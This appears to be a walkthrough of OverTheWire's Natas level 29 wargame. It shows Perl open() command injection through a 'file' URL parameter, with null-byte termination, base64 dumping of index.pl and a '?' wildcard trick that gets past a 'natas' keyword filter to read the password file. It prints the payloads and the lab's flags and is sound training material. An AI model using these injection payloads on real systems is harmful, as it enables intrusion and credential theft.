OverTheWire Natas Level 29 Walkthrough

After 28 levels of PHP, this level of OverTheWire’s Natas switches to Perl instead. This walkthrough covers how to find the solution with plenty of screenshots and query details.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 29 flag found in level 28 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 29 ➔ 30

Open up http://natas29.natas.labs.overthewire.org and login with username natas29 and airooCaiseiyee8he8xongien9euhe8b.

The page is pretty l33t-speak and only gets more so when you choose something from the dropdown menu.

Right-click is disabled but viewing the source doesn’t really help us much.

This challenge is loading in different file names via the dropdown menu options, so let’s figure out how to load in a file of our choosing (probably /etc/natas_webpass/natas30, following the pattern from previous levels).

Perl Command Injection

I googled Perl command injection and looked at a few different options, most of which involve using ; or | to concatenate other commands onto the command being executed. For example, I tried:

http://natas29.natas.labs.overthewire.org/index.pl?file=|ls|

Without any luck. After playing around with different options, I discovered that the command being injected needs to be null terminated.

The input |ls%00 (for a full request URL of http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00) works, showing us what is in the web directory.

I also did |pwd%00 to discover that we are in /var/www/natas/natas29.

Trying to print the flag file

Now that I’ve got basic command injection working, I thought that it’d be as simple as injecting |cat /etc/natas_webpass/natas30. However, that wasn’t the case. Each time I tried to do this, I’d get a “meep!” message:

I tried a variety of methods to navigate to that directory, including base64-encoding my message. After a while I decided to find the source file for index.pl to see what filtering was in place.

Printing index.pl

In order to get the contents of index.pl, I used base64 encoding so that the output didn’t get rendered as part of the web page. This was done using:

| cat index.pl | base64%00

Which results in a request URL of:

http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20index.pl%20|%20base64%00

This outputs a huge block of base64-encoded text:

IyEvdXNyL2Jpbi9wZXJsCnVzZSBDR0kgcXcoOnN0YW5kYXJkKTsKCnByaW50IDw8RU5EOwpDb250 ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xCgo8IURPQ1RZUEUgSFRNTCBQ VUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMS8vRU4iPgo8aGVhZD4KPCEtLSBUaGlzIHN0dWZm IGluIHRoZSBoZWFkZXIgaGFzIG5vdGhpbmcgdG8gZG8gd2l0aCB0aGUgbGV2ZWwgLS0+CjxsaW5r IHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHA6Ly9uYXRhcy5sYWJz Lm92ZXJ0aGV3aXJlLm9yZy9jc3MvbGV2ZWwuY3NzIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBo cmVmPSJodHRwOi8vbmF0YXMubGFicy5vdmVydGhld2lyZS5vcmcvY3NzL2pxdWVyeS11aS5jc3Mi IC8+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cDovL25hdGFzLmxhYnMub3ZlcnRo ZXdpcmUub3JnL2Nzcy93ZWNoYWxsLmNzcyIgLz4KPHNjcmlwdCBzcmM9Imh0dHA6Ly9uYXRhcy5s YWJzLm92ZXJ0aGV3aXJlLm9yZy9qcy9qcXVlcnktMS45LjEuanMiPjwvc2NyaXB0Pgo8c2NyaXB0 IHNyYz0iaHR0cDovL25hdGFzLmxhYnMub3ZlcnRoZXdpcmUub3JnL2pzL2pxdWVyeS11aS5qcyI+ PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPWh0dHA6Ly9uYXRhcy5sYWJzLm92ZXJ0aGV3aXJlLm9yZy9q cy93ZWNoYWxsLWRhdGEuanM+PC9zY3JpcHQ+PHNjcmlwdCBzcmM9Imh0dHA6Ly9uYXRhcy5sYWJz Lm92ZXJ0aGV3aXJlLm9yZy9qcy93ZWNoYWxsLmpzIj48L3NjcmlwdD4KPHNjcmlwdD52YXIgd2Vj aGFsbGluZm8gPSB7ICJsZXZlbCI6ICJuYXRhczI5IiwgInBhc3MiOiAiYWlyb29DYWlzZWl5ZWU4 aGU4eG9uZ2llbjlldWhlOGIiIH07PC9zY3JpcHQ+PC9oZWFkPgo8Ym9keSBvbmNvbnRleHRtZW51 PSJqYXZhc2NyaXB0OmFsZXJ0KCdyaWdodCBjbGlja2luZyBoYXMgYmVlbiBibG9ja2VkIScpO3Jl dHVybiBmYWxzZTsiPgoKPHN0eWxlPgoKI2NvbnRlbnQgewogICAgd2lkdGg6IDEwMDBweDsKfQpw cmV7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyAKICAgIGNvbG9yOiAjMDBGRjAwOyAK fSAKCjwvc3R5bGU+Cgo8aDE+bmF0YXMyOTwvaDE+CjxkaXYgaWQ9ImNvbnRlbnQiPgpFTkQKIwoj IG1vcmxhIC8xMDExMQojICckXz1xdy9sanR0ZnQzZHZ1ey8scy8uL3ByaW50IGNociBvcmQoJCYp LTEvZWcnCiMKIyBjcmVkaXRzIGZvciB0aGUgcHJldmlvdXMgbGV2ZWwgZ28gdG8gd2hvZXZlciAK IyBjcmVhdGVkIGluc29tbmloYWNrMjAxNi9mcmlkZ2luYXRvciwgd2hlcmUgaSBzdG9sZSB0aGUg aWRlYSBmcm9tLiAKIyB0aGF0IHdhcyBhIGZ1biBjaGFsbGVuZ2UsIFRoYW5rcyEgCiMKCnByaW50 IDw8RU5EOwpIM3kgSzFkWiw8YnI+CnkwIHJFbTNtQjNyeiBwM1JsIHJpdDM/PGJyPgpcXC9cXC80 Tm40IGcwIG9sRDVrZXdMPyBSM2FEIFVwITxicj48YnI+Cgo8Zm9ybSBhY3Rpb249ImluZGV4LnBs IiBtZXRob2Q9IkdFVCI+CjxzZWxlY3QgbmFtZT0iZmlsZSIgb25jaGFuZ2U9InRoaXMuZm9ybS5z dWJtaXQoKSI+CiAgPG9wdGlvbiB2YWx1ZT0iIj5zM2xFY1Qgc3VNcDFuITwvb3B0aW9uPgogIDxv cHRpb24gdmFsdWU9InBlcmwgdW5kZXJncm91bmQiPnBlcmwgdW5kZXJncm91bmQ8L29wdGlvbj4K ICA8b3B0aW9uIHZhbHVlPSJwZXJsIHVuZGVyZ3JvdW5kIDIiPnBlcmwgdW5kZXJncm91bmQgMjwv b3B0aW9uPgogIDxvcHRpb24gdmFsdWU9InBlcmwgdW5kZXJncm91bmQgMyI+cGVybCB1bmRlcmdy b3VuZCAzPC9vcHRpb24+CiAgPG9wdGlvbiB2YWx1ZT0icGVybCB1bmRlcmdyb3VuZCA0Ij5wZXJs IHVuZGVyZ3JvdW5kIDQ8L29wdGlvbj4KICA8b3B0aW9uIHZhbHVlPSJwZXJsIHVuZGVyZ3JvdW5k IDUiPnBlcmwgdW5kZXJncm91bmQgNTwvb3B0aW9uPgo8L3NlbGVjdD4KPC9mb3JtPgoKRU5ECgpp ZihwYXJhbSgnZmlsZScpKXsKICAgICRmPXBhcmFtKCdmaWxlJyk7CiAgICBpZigkZj1+L25hdGFz Lyl7CiAgICAgICAgcHJpbnQgIm1lZWVlZWVwITxicj4iOwogICAgfQogICAgZWxzZXsKICAgICAg ICBvcGVuKEZELCAiJGYudHh0Iik7CiAgICAgICAgcHJpbnQgIjxwcmU+IjsKICAgICAgICB3aGls ZSAoPEZEPil7CiAgICAgICAgICAgIHByaW50IENHSTo6ZXNjYXBlSFRNTCgkXyk7CiAgICAgICAg fQogICAgICAgIHByaW50ICI8L3ByZT4iOwogICAgfQp9CgpwcmludCA8PEVORDsKPGRpdiBpZD0i dmlld3NvdXJjZSI+YzRuIFkwIGg0eiBzNHVjMz88L2Rpdj4KPC9kaXY+CjwvYm9keT4KPC9odG1s PgpFTkQK

If we decode this in CyberChef, the original index.pl content is:

#!/usr/bin/perl
use CGI qw(:standard);

print <<END;
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>

[... cut for length ...]

<h1>natas29</h1>
<div id="content">
END
#
# morla /10111
# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'
#
# credits for the previous level go to whoever 
# created insomnihack2016/fridginator, where i stole the idea from. 
# that was a fun challenge, Thanks! 
#

print <<END;
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\\/\\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
<option value="">s3lEcT suMp1n!</option>
<option value="perl underground">perl underground</option>
<option value="perl underground 2">perl underground 2</option>
<option value="perl underground 3">perl underground 3</option>
<option value="perl underground 4">perl underground 4</option>
<option value="perl underground 5">perl underground 5</option>
</select>
</form>

END

if(param('file')){
  $f=param('file');
  if($f=~/natas/){
    print "meeeeeep!<br>";
  }
  else{
    open(FD, "$f.txt");
    print "<pre>";
    while (<FD>){
      print CGI::escapeHTML($_);
    }
    print "</pre>";
  }
}

print <<END;
<div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
END

The important part (as far as our attack is concerned) is here:

if(param('file')){
  $f=param('file');
  if($f=~/natas/){
    print "meeeeeep!<br>";
  }

Our attack string cannot contain “natas”, so we’ll need to find a way to cat /etc/natas_webpass/natas30 without using that string.

There are a few options here for bypassing disallowed strings, the one I found was inspired by this CTF writeup. It uses wildcards to match a directory or file name.

Natas Level 29 Solution

We have command injection working, we know how the filtering works. To get the flag printed, we can swap out one character in each “natas” with a ?:

|cat /etc/n?tas_webpass/n?tas30 %00

The resulting query gives us the flag, wie9iexae0Daihohv8vuu3cei9wahf0e.

Takeaway: command injection applies across several languages. You’ll need to know (or be able to search) for how it applies in a given language. Additionally, reading source code can typically get you to the flag faster than guess-and-check.

Resources: